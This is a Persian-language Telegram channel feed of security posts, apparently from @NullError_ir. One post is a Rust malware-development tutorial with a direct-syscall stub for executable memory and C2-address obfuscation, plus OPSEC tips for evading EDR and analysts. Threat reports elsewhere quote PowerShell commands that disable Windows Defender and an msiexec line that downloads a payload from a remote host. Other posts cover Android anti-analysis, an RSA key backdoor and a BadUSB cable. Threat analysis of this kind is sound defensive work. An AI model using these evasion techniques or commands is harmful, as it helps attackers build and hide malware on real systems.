محافظت از سرویسهای شما در برابر اسکنرهای عمومی.
این پروژه آدرسهای IP پلتفرمها و سرویسهای محبوب تهدیدشناسی (Threat Intelligence) و جمعآوری دادهها (Shodan، Censys، ZoomEye، FOFA، BinaryEdge و غیره) را مسدود میکند تا محیطهای تست و توسعه شما به طور تصادفی در پایگاه دادههای آنها قرار نگیرند.
⚙️ نصب ساده با یک دستور:
curl -fsSL https://raw.githubusercontent.com/cleverg0d/PublicGuard/main/block_scanners.sh | sudo bash
🔗 مخزن: github.com/cleverg0d/PublicGuard
Please open Telegram to view this post
VIEW IN TELEGRAM
توسعه بدافزار با معماری Rust؛ کابوس تحلیلگران بدافزار و عبور از مرزهای تحلیل سنتی و Evasion مدرن
در اکوسیستم توسعه بدافزار، زبانهای C++/C همچنان حاکم هستند، اما در عملیاتهای پیشرفته APT و باجافزارهای مدرن (مانند BlackCat/ALPHV)، شاهد یک تغییر پارادایم تهاجمی به سمت Rust هستیم.
این مطلب به کالبدشکافی فنی این موضوع میپردازد که چرا Rust به سلاح جدید Red Teamerها تبدیل شده و چگونه میتوان با ترکیب Direct Syscalls و معماری no_std ، کابوسی برای تحلیلگران و EDRها خلق کرد.
چرا Rust؟ فراتر از Memory Safety
مهاجرت به Rust در دنیای بدافزار بر پایه دو اصل استوار است:
1. هزینه سربار تحلیل (Analysis Overhead): تحلیل باینریهای Rust به دلیل ساختار منحصربهفرد کامپایلر و مدیریت حافظه، به مراتب پیچیدهتر از ++C است.
2. امضای رفتاری جدید (Novel Signatures): بسیاری از الگوریتمهای Heuristic که برای شناسایی الگوهای کامپایلرهای MSVC یا MinGW آموزش دیدهاند، در برابر ساختار LLVM-based و کدهای Rust دچار خطا میشوند.
چالشهای مهندسی معکوس (Reverse Engineering)
اگر خروجی Decompiler ابزاری مثل Ghidra یا IDA Pro را بررسی کنیم، با چالشهای جدی روبرو هستیم:
* کابوس Function Inlining: کامپایلر
rustc در opt-level=3 یا z ، تهاجمی عمل کرده و مرز توابع را از بین میبرد.* پیچیدگی Control Flow Graph: کدهای مربوط به
Result و Option (مدیریت خطا) و Panic handling ، گراف جریان برنامه را پر از نویز میکنند که تشخیص منطق اصلی (Business Logic) را دشوار میسازد.*۔ Symbol Mangling: حتی با وجود ابزارهای Demangling، نامگذاری توابع در Rust طولانی و شامل Hashهای منحصربهفرد است.
هنر کاهش حجم و اختفا: معماری
no_stdیکی از نقدهای وارد بر Rust، حجم بالای باینری به دلیل لینک شدن استاتیک
std است (حدود ۱۵۰ کیلوبایت برای یک Hello World).راهکار سطح APT: استفاده از no_std.
در این حالت، توسعهدهنده بدافزار دسترسی به کتابخانه استاندارد را قطع کرده و مستقیماً با
libc یا WinAPI صحبت میکند. نتیجه؟* کاهش حجم باینری به زیر ۲۰ کیلوبایت.
* حذف کدهای اضافه (Dead Code) و کاهش سطح حمله برای Signature Detection.
کارگاه عملی: Dropper مدرن با تکنیک Syscalls
در این سناریو، به جای استفاده از APIهای مانیتور شده (مانند
VirtualAlloc یا CreateRemoteThread که هوک شدهاند)، از Indirect Syscalls استفاده میکنیم.مرحله ۱: جمعآوری اطلاعات و Obfuscation
استفاده از Crateهایی مانند
obfstr برای رمزنگاری رشتهها در زمان کامپایل (Compile-time Hashing) تا تحلیل استاتیک و دستور strings هیچ اطلاعات مفیدی ندهد.مرحله ۲: دور زدن User-mode Hooks
به جای فراخوانی توابع
kernel32.dll ، ما مستقیماً ntdll.dll را پارس کرده و شماره Syscall (SSN) توابع حیاتی مانند NtAllocateVirtualMemory را استخراج میکنیم.تکنیک Halo’s Gate / Tartarus:
با استفاده از اسمبلی مستقیم در Rust (
global_asm!)، تابع را فراخوانی میکنیم. بدین ترتیب EDR که روی توابع Win32 هوک گذاشته است، کاملاً کور میشود.// Conceptual Syscall invocation in Rust
unsafe {
let status = syscall!(
NtAllocateVirtualMemory,
process_handle,
&mut base_addr,
0,
&mut region_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READ
);
}
مرحله ۳: اجرای بدون Thread جدید
ساخت
CreateRemoteThread بسیار پر سروصداست. راهکار جایگزین:1۔ Thread Hijacking: متوقف کردن یک ترد موجود، تغییر
RIP به آدرس شلکد و ادامه اجرا.2۔ Callback Injection: استفاده از توابعی که Callback میپذیرند (مانند
TpAllocWork در Thread Pool) برای اجرای پیلود در بستری کاملاً قانونی.نکات حیاتی OPSEC در Rust
1. مسیرهای افشاگر: Rust مسیرهای مطلق سیستم بیلد (مانند
C:\Users\Attacker\.cargo\...) را در باینری نگه میدارد. حتماً از فلگ --remap-path-prefix در زمان کامپایل استفاده کنید.2. کتابخانه شبکه: هرگز از
reqwest استفاده نکنید (حجم بالا + TLS Fingerprint). از FFI برای فراخوانی WinHTTP یا سوکتهای خام استفاده کنید.3۔ Panic = Death: در بدافزار،
panic باید منجر به abort بیصدا شود. کدهای خطای پیشفرض Rust اطلاعات زیادی را در کنسول یا لاگ سیستم نشت میدهند.Please open Telegram to view this post
VIEW IN TELEGRAM
Mr. SAM
پیادهسازی Direct Syscall در حالت
این کد نشان میدهد چگونه بدون هیچ وابستگی به کتابخانههای استاندارد ویندوز (که EDRها روی آنها هوک دارند)، مستقیماً با کرنل صحبت میکنیم.
عنوان :
مبهمسازی رشتهها (String Obfuscation)
توضیح: استفاده از ماکرو
"پاورقی فنی"
جعبه ابزار تحلیل (Resources Box)
> جعبه ابزار تحلیلگر برای مقابله با Rust:
> اگر در تیم آبی (Blue Team) هستید یا میخواهید بدافزار Rust خودتان را دیباگ کنید، ابزارهای سنتی کافی نیستند:
> 1. افزونه RustDemangler برای Ghidra/IDA:
> نامهای توابع در Rust به صورت _ZN3std2io5stdio6_print17h... در میآیند. این پلاگین، نامها را به فرمت انسانی (Human-readable) برمیگرداند تا بفهمید تابع دقیقاً چه میکند.
> 2. ابزار Ferib (The Rust Analyzer):
> یک ابزار تخصصی مهندسی معکوس برای باینریهای Rust یا Go. این ابزار به صورت خودکار ساختارهای داده، توابع و کتابخانههای لینک شده را شناسایی کرده و فایل
۔Rust دیگر یک "ترند" نیست؛ یک تغییر استراتژیک در زرادخانه سایبری است. ترکیب امنیت حافظه (Memory Safety) با قدرت سطح پایین C و قابلیتهای مدرن LLVM، آن را به گزینهای ایدهآل برای توسعه ایمپلنتهای پیچیده تبدیل کرده است.
@NullError_ir
no_stdاین کد نشان میدهد چگونه بدون هیچ وابستگی به کتابخانههای استاندارد ویندوز (که EDRها روی آنها هوک دارند)، مستقیماً با کرنل صحبت میکنیم.
عنوان :
syscall_stub.rs#![no_std]
#![no_main]
#![feature(asm)] // Nightly feature for direct assembly
// تعریف Panic Handler چون std نداریم
#[panic_handler]
fn panic(_info: &core::panic::PanicInfo) -> ! {
loop {}
}
// تعریف ورودی برنامه (جایگزین main)
#[no_mangle]
pub extern "system" fn _start() {
// متغیرهای مورد نیاز برای NtAllocateVirtualMemory
let process_handle: isize = -1; // Current Process (0xFFFFFFFF)
let mut base_addr: *mut u8 = core::ptr::null_mut();
let mut region_size: usize = 0x1000; // 4KB payload space
// Syscall Number برای NtAllocateVirtualMemory در Windows 10/11 (مثال: 0x18)
// نکته: در بدافزار واقعی، این عدد باید پویا (Dynamically) پیدا شود (Hell's Gate)
let syscall_ssn: u32 = 0x18;
unsafe {
let status: i32;
// اجرای مستقیم اسمبلی (Direct Syscall)
// آرگومانها طبق calling convention ویندوز (RCX, RDX, R8, R9, Stack) پاس داده میشوند
// این بخش کاملاً از دید EDR User-mode Hook مخفی میماند
core::arch::asm!(
"mov r10, rcx",
"syscall",
in("eax") syscall_ssn,
in("rcx") process_handle,
in("rdx") &mut base_addr,
in("r8") 0,
in("r9") &mut region_size,
// سایر آرگومانها باید در Stack پوش شوند (در اینجا برای سادگی کد خلاصه شده)
lateout("eax") status,
);
}
// ادامه پروسه تزریق شلکد...
}
مبهمسازی رشتهها (String Obfuscation)
توضیح: استفاده از ماکرو
obfstr باعث میشود رشتهها در زمان کامپایل با یک کلید تصادفی XOR شوند و فقط در لحظه اجرا در حافظه Stack دیکد شوند.use obfstr::obfstr;
fn connect_c2() {
// رشته IP هرگز به صورت Plaintext در باینری ذخیره نمیشود
let c2_ip = obfstr!("185.199.108.153");
let user_agent = obfstr!("Mozilla/5.0 (Windows NT 10.0; Win64; x64)");
// تحلیلگر با دستور strings هیچ IP یا User-Agent ای نخواهد دید
// decompilation نیز فقط یک سری عملیات XOR بیمعنی نشان میدهد
println!("Connecting to: {}", c2_ip);
}
"پاورقی فنی"
جعبه ابزار تحلیل (Resources Box)
> جعبه ابزار تحلیلگر برای مقابله با Rust:
> اگر در تیم آبی (Blue Team) هستید یا میخواهید بدافزار Rust خودتان را دیباگ کنید، ابزارهای سنتی کافی نیستند:
> 1. افزونه RustDemangler برای Ghidra/IDA:
> نامهای توابع در Rust به صورت _ZN3std2io5stdio6_print17h... در میآیند. این پلاگین، نامها را به فرمت انسانی (Human-readable) برمیگرداند تا بفهمید تابع دقیقاً چه میکند.
> 2. ابزار Ferib (The Rust Analyzer):
> یک ابزار تخصصی مهندسی معکوس برای باینریهای Rust یا Go. این ابزار به صورت خودکار ساختارهای داده، توابع و کتابخانههای لینک شده را شناسایی کرده و فایل
.idb یا پروژه Ghidra را غنیسازی میکند.۔Rust دیگر یک "ترند" نیست؛ یک تغییر استراتژیک در زرادخانه سایبری است. ترکیب امنیت حافظه (Memory Safety) با قدرت سطح پایین C و قابلیتهای مدرن LLVM، آن را به گزینهای ایدهآل برای توسعه ایمپلنتهای پیچیده تبدیل کرده است.
@NullError_ir
😡گوگل بهطور پیش فرض قابلیتهای هوش مصنوعی را در جیمیل فعال کرده است - بدون هشدار
اگر از جیمیل استفاده میکنید - تنظیمات را بررسی کنید. گوگل بهطور خودکار «قابلیتهای هوشمند» و شخصیسازی را فعال کرده است که محتوا و فعالیتهایتان را برای عملکرد هوش مصنوعی (از جمله gemini) تحلیل میکند.
📌 این یعنی:
ایمیلها، چتها، رویدادها، فایلها - همه میتوانند برای تولید پیشنهادات، پیشنویسها و توصیهها استفاده شوند.
این قابلیتها بهصورت پیشفرض فعال هستند، حتی اگر شما بهصورت دستی آنها را فعال نکرده باشید.
این ممکن است منجر به نشت اطلاعات حساس شود، بهویژه در حسابهای کاری.
❌چگونه غیرفعال کنیم:
1. جیمیل را باز کنید → ⚙️ تنظیمات → «همه تنظیمات» → (اگر چند جیمیل دارید روی هر کدام بزنید)
2. تب «عمومی» → بخش «قابلیتهای هوشمند» را پیدا کنید (Smart features)
3. تیکها را بردارید و روی «غیرفعال کردن و بارگذاری مجدد» کلیک کنید
✅ از مکاتبات خود محافظت کنید. اجازه ندهید هوش مصنوعی چیزهایی را بخواند که برایش در نظر گرفته نشده است.
@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
❤1
مهندسی معکوس APK اندروید
سختترین حالت برای مهندسی معکوس، توسعه اپلیکیشن به صورت Hybrid است که در آن منطق اصلی (Core Logic) به زبان ++C یا ترجیحاً Rust نوشته شده، به صورت کتابخانه Native (.so) کامپایل شده و با استفاده از تکنیکهای O-LLVM و Virtualization محافظت میشود.
تحلیل فنی :
۱. جاوا (Java) و کاتلین (Kotlin): بازنده مطلق
این دو زبان برای توسعه Native اندروید استفاده میشوند، اما برای امنیت منطق (Code Logic) بدترین گزینه هستند.
ساختار: کدهای جاوا و کاتلین به Bytecode ماشین مجازی جاوا (JVM/Dalvik) ترجمه میشوند.
مهندسی معکوس: با ابزارهایی مثل Jadx، Apktool یا JEB Decompiler، فایلهای .dex به راحتی به کد منبع (Source Code) تقریبا اصلی برمیگردند.
دفاع: استفاده از R8 یا ProGuard فقط نام کلاسها و متغیرها را تغییر میدهد (Obfuscation سطحی) که برای یک تحلیلگر با تجربه، مانع جدی نیست.
۲. فلاتر (Flutter): گزینه میانی (مزاحم اما نه غیرممکن)
فلاتر از جاوا/کاتلین امنتر است، اما غیرقابل نفوذ نیست.
ساختار: کدهای Dart در حالت Release به صورت AOT (Ahead-of-Time) به کدهای باینری ماشین (Machine Code) کامپایل میشوند و در یک فایل کتابخانه بزرگ (معمولاً libapp.so) قرار میگیرند.
مهندسی معکوس: مهندسی معکوس فلاتر نیاز به دانش عمیقتری از ساختار داخلی Dart VM دارد. ابزارهایی مثل ReFlutter یا اسکریپتهای Doldrums وجود دارند که میتوانند Snapshotهای دارت را دامپ کنند. اگرچه کد تمیز به دست نمیآید، اما Stringها و منطق کلی قابل استخراج است.
نقطه ضعف: ساختار فلاتر استاندارد است؛ اگر تحلیلگر بداند دنبال چه چیزی بگردد (مثل جداول متدها)، میتواند پچهای Frida را اعمال کند.
۳. نیتیو (C/++C و Rust) در قالب .so: قلعه دفاعی
این قویترین روش موجود است. استفاده از NDK (Native Development Kit) باعث میشود کد شما مستقیماً به Assembly (معمولاً ARM64) کامپایل شود.
چرا این روش سختتر است؟
از بین رفتن ساختار: اطلاعات سطح بالا (High-level) مثل نام متغیرها، ساختار کلاسها و نوع دادهها در فرآیند کامپایل از بین میروند. تحلیلگر باید مستقیماً با اسمبلی و رجیسترها در IDA Pro یا Ghidra کار کند.
پیچیدگی جریان کنترل: کامپایلرهای ++C و Rust کدهای بهینهسازی شدهای تولید میکنند که دنبال کردن جریان برنامه (Control Flow) را بسیار دشوار میکند.
چگونه اپلیکیشنی بسازیم که "کابوس" تحلیلگران شود؟
برای رسیدن به سطح امنیت مناسب ، تنها استفاده از ++C کافی نیست.پیشنهاد میکنم معماری زیر را پیادهسازی کنید:
گام اول: انتخاب زبان (پیشنهاد من: Rust)
به جای ++C، از Rust استفاده کنید.
چرا؟ باینریهای تولید شده توسط Rust به دلیل نحوه مدیریت حافظه و ماکروها، بسیار پیچیدهتر و "کثیفتر" از ++C هستند. تحلیل آنها در Ghidra برای تشخیص توابع استاندارد بسیار سختتر است. همچنین Rust در برابر آسیبپذیریهای حافظه (Buffer Overflow) که تحلیلگران برای اکسپلویت استفاده میکنند، ایمن است.
گام دوم: استفاده از O-LLVM (Obfuscator-LLVM)
کد Native خود را با یک کامپایلر استاندارد بیلد نکنید. از نسخه شخصیسازی شده LLVM استفاده کنید تا تکنیکهای زیر را روی فایل .so اعمال کند:
۔Control Flow Flattening (CFF): ساختار شرطی if/else و حلقهها را به یک ساختار مسطح و پیچیده تبدیل میکند که گراف جریان برنامه (CFG) را در IDA Pro غیرقابل خواندن میکند.
۔Bogus Control Flow: اضافه کردن بلوکهای کد جعلی که هرگز اجرا نمیشوند اما تحلیلگر را گمراه میکنند.
۔Instruction Substitution: جایگزینی دستورات ساده ریاضی (مثل جمع) با فرمولهای پیچیده ریاضی که همان نتیجه را میدهند.
گام سوم: تکنیکهای Anti-Tamper و Anti-Frida (در سطح Native)
همه چکهای امنیتی را در لایه Native انجام دهید، نه جاوا.
۔Direct Syscalls: برای انجام عملیات حساس (مثل خواندن فایل یا شبکه)، از توابع استاندارد libc (مثل open, read) استفاده نکنید، زیرا Frida به راحتی آنها را هوک (Hook) میکند. مستقیماً از دستورات اسمبلی SVC (در ARM64) برای صدا زدن کرنل استفاده کنید.
تشخیص Frida: اسکن proc/self/maps برای پیدا کردن کتابخانههای frida-agent یا پورتهای باز مربوط به frida-server.
۔TracerPid Check: بررسی وضعیت TracerPid در فایل /proc/self/status. اگر غیر از ۰ باشد، یعنی برنامهای (مثل دیباگر) به اپلیکیشن متصل است. این کار را در یک ترد جداگانه و مخفی انجام دهید.
گام چهارم: رمزنگاری رشتهها (String Encryption)
هیچ رشته متنی (مثل URL سرور، کلیدهای API) نباید به صورت Cleartext در فایل .so باشد.
همه رشتهها را در زمان کامپایل XOR کنید و فقط در لحظه نیاز در حافظه دیکد کرده و بلافاصله پاک کنید.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤2
Mr. SAM
نتیجهگیری و توصیه اجرایی
برای ساخت امن اپلیکیشن اندرویدی:
رابط کاربری (UI) را با Kotlin یا Flutter بسازید.
تمام منطق حساس، الگوریتمها و ارتباطات شبکه را با زبان Rust بنویسید.
از طریق JNI (در کاتلین) یا FFI (در فلاتر) با لایه Native ارتباط برقرار کنید.
کتابخانه Rust را با فلگهای Obfuscation کامپایل کنید.
مکانیزمهای Anti-Debug و Checksum فایل APK را داخل همان کتابخانه Rust قرار دهید.
📎یک نمونه اپ بسیار ساده از نحوه صدا زدن یک تابع امن Rust در اندروید (از طریق JNI) را برای علاقه مندان نوشته و در⬅️ گیتهابم ➡️ قرار دادهام .
این اپ اندرویدی با rust در نیتیو به آدرس telegram.org ریکوئست میزند . به عمد یک آدرس فیلتر شده و آن هم تلگرام را گذاشتهام که با نوع کد نویسی آشنا شوید .
معماری پروژه
لایه Rust: مسئول برقراری اتصال HTTPS (با استفاده از reqwest یا ureq و rustls). این لایه TLS Handshake را خودش انجام میدهد که شنود آن سختتر است.
لایه JNI: پل ارتباطی بین کاتلین و Rust.
لایه Kotlin (WorkManager): برای اجرای تسک در پسزمینه (Background) بدون نیاز به باز بودن برنامه و سازگار با محدودیتهای Doze mode از اندروید 10 به بالا.
در گیتهاب توضیحات بیشتری است که حتما بخوانید🔵
⚠️ این پروژه صرفاً با اهداف آموزشی در زمینه امنیت توسعه یافته است. استفاده از این تکنیکها در بدافزارها یا اپلیکیشنهای مخرب غیرقانونی و غیراخلاقی است.
@NullError_ir
برای ساخت امن اپلیکیشن اندرویدی:
رابط کاربری (UI) را با Kotlin یا Flutter بسازید.
تمام منطق حساس، الگوریتمها و ارتباطات شبکه را با زبان Rust بنویسید.
از طریق JNI (در کاتلین) یا FFI (در فلاتر) با لایه Native ارتباط برقرار کنید.
کتابخانه Rust را با فلگهای Obfuscation کامپایل کنید.
مکانیزمهای Anti-Debug و Checksum فایل APK را داخل همان کتابخانه Rust قرار دهید.
📎یک نمونه اپ بسیار ساده از نحوه صدا زدن یک تابع امن Rust در اندروید (از طریق JNI) را برای علاقه مندان نوشته و در
این اپ اندرویدی با rust در نیتیو به آدرس telegram.org ریکوئست میزند . به عمد یک آدرس فیلتر شده و آن هم تلگرام را گذاشتهام که با نوع کد نویسی آشنا شوید .
معماری پروژه
لایه Rust: مسئول برقراری اتصال HTTPS (با استفاده از reqwest یا ureq و rustls). این لایه TLS Handshake را خودش انجام میدهد که شنود آن سختتر است.
لایه JNI: پل ارتباطی بین کاتلین و Rust.
لایه Kotlin (WorkManager): برای اجرای تسک در پسزمینه (Background) بدون نیاز به باز بودن برنامه و سازگار با محدودیتهای Doze mode از اندروید 10 به بالا.
در گیتهاب توضیحات بیشتری است که حتما بخوانید
@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub
GitHub - Null-Err0r/ExampleRust: Android Secure Native Core
Android Secure Native Core. Contribute to Null-Err0r/ExampleRust development by creating an account on GitHub.
👍1
اجراکنندهی غیرمستقیم شلکد، برای استفاده از آسیبپذیری/پیکربندی نادرست موجود در متد ReadProcessMemory از API ویندوز .
@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
تهدید نوظهور : تبلیغ سرویس بدافزار جدید در انجمنهای هکرها با ویژگیهای ضد تحلیل و تشخیص
تحلیل بدافزار Olymp Loader: سرویس بدافزار (MaaS) مبتنی بر اسمبلی و تکامل مکانیزمهای FUD
گزارشهای اخیر از سطح زیرین فرومهای هکری (Underground Forums) مانند XSS و HackForums حاکی از ظهور یک بدافزار جدید و خطرناک در عرصه Malware-as-a-Service (MaaS) به نام Olymp Loader است. این بدافزار که توسط اپراتوری با نام مستعار
OLYMPO توسعه یافته، با ادعای کدنویسی ۱۰۰٪ به زبان اسمبلی ، وعده عملکرد بالا و نرخ تشخیص (Detection Rate) بسیار پایین را به مجرمان سایبری میدهد.ویژگیهای کلیدی و معماری فنی
برخلاف بسیاری از لودرها که صرفاً یک Wrapper ساده هستند، Olymp Loader یک ابزار چندمنظوره است که نقش Loader، Crypter و Stealer را ایفا میکند.
1. زبان و ساختار: توسعهدهنده ادعا میکند تمام کدها به زبان Assembly نوشته شدهاند تا مهندسی معکوس (Reverse Engineering) را دشوار کرده و حجم فایل را به حداقل برساند. این ویژگی به عنوان اصلیترین فاکتور فروش برای وضعیت FUD (Fully UnDetectable) تبلیغ میشود.
2. تغییر استراتژی (Pivot) در آگوست ۲۰۲۵:
* تا قبل از آگوست، این بدافزار دارای قابلیتهای Botnet و پنل وب بود.
* در یک تغییر ساختار عمده (Restructuring)، قابلیتهای باتنت حذف و تمرکز کاملاً بر روی Dropper/Loader بودن قرار گرفت.
* مکانیزم جدید: پیلود نهایی (مانند LummaC2 یا Raccoon) اکنون مستقیماً درون Stub و به صورت Encrypted تعبیه میشود و تنها پس از غیرفعالسازی آنتیویروس اجرا میگردد.
مکانیزمهای فرار از تشخیص و Anti-Analysis
تکنیکهای بکار رفته برای دور زدن دفاعهای میزبان (Host Defenses) بسیار تهاجمی است:
* غیرفعالسازی Windows Defender: بدافزار از دستورات PowerShell و ابزارهای جانبی برای کور کردن سیستم دفاعی استفاده میکند:
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableScanningNetworkFiles $true
Set-MpPreference -DisableIOAVProtection $true
Add-MpPreference -ExclusionPath $env:TEMP
استفاده از ابزار Defender Remover: لودر با دراپ کردن ابزارهایی مانند
PowerRun.exe و اسکریپتهای .reg در دایرکتوری Temp، اقدام به حذف سرویسهای امنیتی، پاک کردن فایلهای SecurityHealthSystray.exe و دستکاری فولدر WinSxS میکند.پایداری (Persistence): ایجاد شورتکات در فولدر Startup و کپی کردن خود در مسیر
%AppData% با نامهای رندوم.ماژولهای سرقت اطلاعات (Stealer Modules)
سرویس Olymp Loader علاوه بر لود کردن بدافزارهای دیگر، دارای ماژولهای داخلی قدرتمندی است:
1۔ Telegram Stealer (tgsteal.py):
* نوشته شده به زبان پایتون.
* پروسههای تلگرام را میبندد (Kill Process).
* با استفاده از Regex به دنبال فایلهای
key_datas میگردد و آنها را همراه با اسکرینشات ارسال میکند.2۔ Browser Stealer:
* ترکیبی از ++C و پایتون (کامپایل شده با Nuitka).
* مهندسی معکوس نشان میدهد که این ماژول نسخه مودیفای شدهای از پروژه متنباز BrowserSnatch است که لیست تارگتهای آن دو برابر شده است.
* آرتفکتهایی مانند
brsteal.dll در دایرکتوریهای موقت Nuitka قابل مشاهده است.3۔ Crypto Stealer: هدف قرار دادن کیف پولهایی مثل Exodus، Electrum و Atomic.
روشهای توزیع و شکار (Hunting)
وکتور حمله: استفاده از GitHub Releases جعلی. مهاجمین فایلهای مخرب را با نامهای فریبنده مثل
NodeJs.exe ، PuTTY یا Zoom در مخازن گیتهاب آپلود میکنند تا ترافیک شبکه را مشروع (Legitimate) جلوه دهند.پیلودهای نهایی مشاهده شده:
*۔ LummaC2 (۴۶٪)
*۔ WebRAT / SalatStealer (۳۱٪)
*۔ QasarRAT (۱۵٪)
@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
❤1
چند ساعتی است که یک مخزن گیتهاب عمومی شده که یک (Proof of Concept) از حمله معروف
Young & Yung (1996)
به نام
SETUP (Secretly Embedded Trapdoor with Universal Protection)
است که به زبان Go نوشته شده.
این پروژه نشان میدهد که چطور میتوان یک «بکدور نامتقارن» (Asymmetric Backdoor) را درون فرآیند تولید کلید RSA مخفی کرد، به طوری که حتی با داشتن سورسکد (الگوریتم) و تحلیل خروجیها، هیچکس جز مهاجم نتواند کلید را بشکند.
### تحلیل فنی و مکانیزم عملکرد (Kleptography)
در حالت عادی، کلیدهای RSA ($n, e, d$) بر اساس دو عدد اول تصادفی $p$ و $q$ ساخته میشوند. اما در این ابزار، این اعداد تصادفی نیستند:
1. تزریق (Infection):
* تولیدکننده کلید (Generator) ابتدا یک عدد تصادفی (Seed) به نام $s$ تولید میکند.
* عدد اول $p$ از هش $s$ مشتق میشود: $p = H(s)$.
* سپس $s$ با استفاده از کلید عمومی مهاجم ($E_{att}, N_{att}$) رمزگذاری میشود تا مقدار $c$ بدست آید:
$$c = s^{E_{att}} \pmod{N_{att}}$$
* حالا نکته کلیدی اینجاست: عدد اول دوم ($q$) طوری انتخاب میشود که وقتی $n = p \times q$ محاسبه شد، مقدار $c$ (که همان سید رمزگذاری شده است) در بیتهای بالایی (Most Significant Bits) عدد $n$ قرار بگیرد.
* به زبان ساده: کلید عمومی قربانی، حاوی نسخه رمزگذاری شده کلید خصوصی اوست.
2. استخراج (Extraction):
* مهاجم فقط به کلید عمومی قربانی ($n$) نیاز دارد.
* مهاجم بیتهای بالایی $n$ را برمیدارد (که همان $c$ است).
* چون مهاجم کلید خصوصی خودش ($D_{att}$) را دارد، $c$ را رمزگشایی کرده و $s$ را بدست میآورد.
* با داشتن $s$، مقدار $p$ را بازسازی کرده و با تقسیم $n$ بر $p$، کلید خصوصی قربانی را کامل بدست میآورد.
### ویژگیهای کد (Code Analysis)
* زبان: Go (Golang).
* روش ساخت: Brute-force هوشمند. کد آنقدر $q$ های مختلف را امتحان میکند تا رابطه ریاضی $n$ طوری تنظیم شود که $c$ در بالای آن قرار گیرد.
* مولفههای اصلی:
۔*
generator.go: ابزار آلوده برای تولید کلید برای قربانی.۔*
decryptor.go: ابزار مخصوص مهاجم برای استخراج کلید خصوصی از روی کلید عمومی قربانی.### سطح خطر و اهمیت امنیتی
این حمله کابوس سیستمهای رمزنگاری است زیرا:
1. غیرقابل تشخیص (Indistinguishable): کلید عمومی تولید شده ($n$) از نظر آماری کاملاً تصادفی به نظر میرسد و هیچ تستی نمیتواند وجود دربخلفی را ثابت کند.
2. انحصاری: برخلاف دربهای پشتی ساده (مثل استفاده از اعداد اول ثابت)، در اینجا اگر کسی متوجه الگوریتم شود، باز هم نمیتواند کلیدهای قربانیان را بشکند، مگر اینکه کلید خصوصی مهاجم را داشته باشد.
3. کاربرد: این متد در حملات زنجیره تأمین (Supply Chain Attacks)، کارتهای هوشمند (Smart Cards) و ماژولهای امنیتی سختافزاری (HSM) که "جعبه سیاه" هستند، بسیار محتمل است.
### نتیجهگیری
این مخزن اثبات میکند که "اعتماد به جعبه سیاه در رمزنگاری اشتباه محض است". اگر شما از یک کتابخانه کامپایل شده یا سختافزار بسته برای تولید کلید استفاده میکنید، هیچ راهی برای اثبات اینکه کلید خصوصی شما قبلاً برای سازنده ارسال نشده (یا در دل کلید عمومی مخفی نشده) وجود ندارد.
پتانسل حمله بسیار بالاست ...
@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub
GitHub - monsieurPale/RSA-Backdoor: Generate backdoored RSA keys using SETUP
Generate backdoored RSA keys using SETUP . Contribute to monsieurPale/RSA-Backdoor development by creating an account on GitHub.
کابل شارژی که دستگاه شما را هک میکند
یک BadUSB مبتنی بر ESP32-S3 .
ماژول در حالت STATION پیکربندی شده . شما باید یک نقطه دسترسی وایفای با تلفن همراه یا دستگاه دیگری راهاندازی کنید، کابل به طور خودکار به آن متصل میشود.
اینجا به صورت کامل در موردش (نصب و راه اندازی و غیره ) توضیح داده . ماژول هم که همه جا پیدا میشه ...
زیاد در کابل شارژ و موس و صفحه کلید و غیره پیدا میشه ..
@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
👍2❤1
سوءاستفاده هوشمندانه هکرها از ابزار فارنزیک Velociraptor برای C2 و توزیع باجافزار
در یک چرخش تکنیکی قابل توجه، هگرها به جای استفاده از بدافزارهای سفارشی برای Command and Control (C2)، به سراغ ابزارهای قانونی و قدرتمند DFIR (Digital Forensics and Incident Response) رفتهاند. گزارشهای جدید محققان نشان میدهد که ابزار قانونی و محبوب Velociraptor اکنون به سلاحی برای استقرار باجافزار Warlock و ایجاد دسترسی پایدار تبدیل شده است.
استفاده از ابزارهای قانونی (Living off the Land) تشخیص را برای تیمهای SOC بسیار دشوار میکند، زیرا ترافیک و پروسههای Velociraptor در بسیاری از محیطها "تراستشده" و سفید محسوب میشوند.
زنجیره حمله (Kill Chain) و تحلیل فنی
مهاجمین در این کمپینها از ترکیبی از آسیبپذیریهای وب، ابزارهای مدیریت سیستم و تانلهای رمزنگاری شده استفاده کردهاند.
# ۱. دسترسی اولیه (Initial Access): بهرهبرداری از SharePoint و WSUS
نقطه ورود در اکثر موارد، اکسپلویت کردن سرورهای Patch نشده بوده است:
*۔ ToolShell Chain: استفاده از زنجیره آسیبپذیری SharePoint. ابتدا بایپس احراز هویت (CVE-2025-49706) و سپس اجرای کد از راه دور (CVE-2025-49704). مهاجمین فایلهای سیستمی شیرپوینت مانند
start.aspx یا ToolPane.aspx را به Web Shell تبدیل کردهاند.*۔ WSUS Exploitation: در برخی موارد، اکسپلویت CVE-2025-59287 روی سرویس WSUS مشاهده شده است.
# ۲. استقرار C2 با Velociraptor
پس از نفوذ، مهاجم با استفاده از دستورات
msiexec ، نسخههای MSI ابزار Velociraptor را از دامنههای Cloudflare Workers دانلود و نصب میکند:msiexec /q /i https:// [REDACTED] .workers .dev/ v3 .msi> نکته فنی: از آنجایی که Velociraptor به عنوان یک سرویس ویندوز نصب میشود، مهاجم بلافاصله دسترسی سطح SYSTEM و Persistence (پایداری) را به دست میآورد. این ابزار دقیقاً برای اجرای دستورات سطح پایین و کوئری گرفتن از سیستم طراحی شده که اکنون در خدمت مهاجم است.
# ۳. تانلینگ پیشرفته: دور زدن فایروال با VS Code و Cloudflare
برای مخفی ماندن ترافیک C2، مهاجمین از تکنیکهای هوشمندانهای استفاده کردند:
*۔ VS Code Tunnels: دانلود و نصب
code.exe (نسخه CLI ویژوال استودیو کد). از آنجا که این باینری توسط مایکروسافت امضا شده (Signed Binary)، توسط بسیاری از EDRها مسدود نمیشود. مهاجم با دستور tunnel service install یک تانل معکوس به سمت خود ایجاد میکند.*۔ Cloudflare Tunnels: استفاده از
